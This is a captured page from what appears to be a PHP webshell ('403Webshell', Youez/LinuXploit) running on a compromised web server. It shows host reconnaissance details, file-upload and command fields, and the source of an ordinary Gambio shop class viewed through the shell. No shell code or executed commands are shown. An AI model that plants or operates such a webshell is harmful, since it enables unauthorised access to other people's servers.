403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/withdrawals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/withdrawals/WithdrawalContentView.inc.php
<?php
/* --------------------------------------------------------------
   WithdrawalContentView.inc.php 2014-11-08 tb@gambio
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2014 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
 */

require_once(DIR_FS_CATALOG . 'gm/modules/gm_gprint_tables.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMJSON.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMGPrintConfiguration.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMGPrintContentManager.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMGPrintOrderElements.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMGPrintOrderSurfaces.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMGPrintOrderSurfacesManager.php');
require_once(DIR_FS_CATALOG . 'gm/classes/GMGPrintOrderManager.php');


class WithdrawalContentView extends ContentView
{
    //No flat assigns for gambio template
    public function init_smarty()
    {
        parent::init_smarty();
        $this->set_flat_assigns(false);
    }

    public function prepare_data()
    {
        if (isset($this->content_array['order'])) {
            $t_date_purchased = $this->content_array['order']->info['date_purchased'];
            $t_date_purchased = date(DATE_FORMAT . ' H:i:s', strtotime($t_date_purchased));
            $this->content_array['order']->info['date_purchased'] = $t_date_purchased;

            $coo_gm_gprint_content_manager = new GMGPrintContentManager();

            for ($i = 0; $i < count($this->content_array['order']->products); $i++) {

                $coo_gm_gprint_order_data = $coo_gm_gprint_content_manager->get_orders_products_content($this->content_array['order']->products[$i]['orders_products_id'],
                    true);

                for ($m = 0; $m < count($coo_gm_gprint_order_data); $m++) {
                    $this->content_array['order']->products[$i]['attributes'][] = array(
                        'option' => $coo_gm_gprint_order_data[$m]['NAME'],
                        'value' => $coo_gm_gprint_order_data[$m]['VALUE']
                    );
                }

                $this->content_array['order']->products[$i]['qty'] = (double)$this->content_array['order']->products[$i]['qty'];
            }
        }
    }


    public function set_download_template()
    {
        $this->set_content_template('module/content_download.html');
    }


    public function set_withdrawal_pdf_form_template()
    {
        $this->set_content_template('module/withdrawal_pdf_form.html');
    }


    public function set_withdrawal_web_form_template()
    {
        $this->set_content_template('module/withdrawal_web_form.html');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit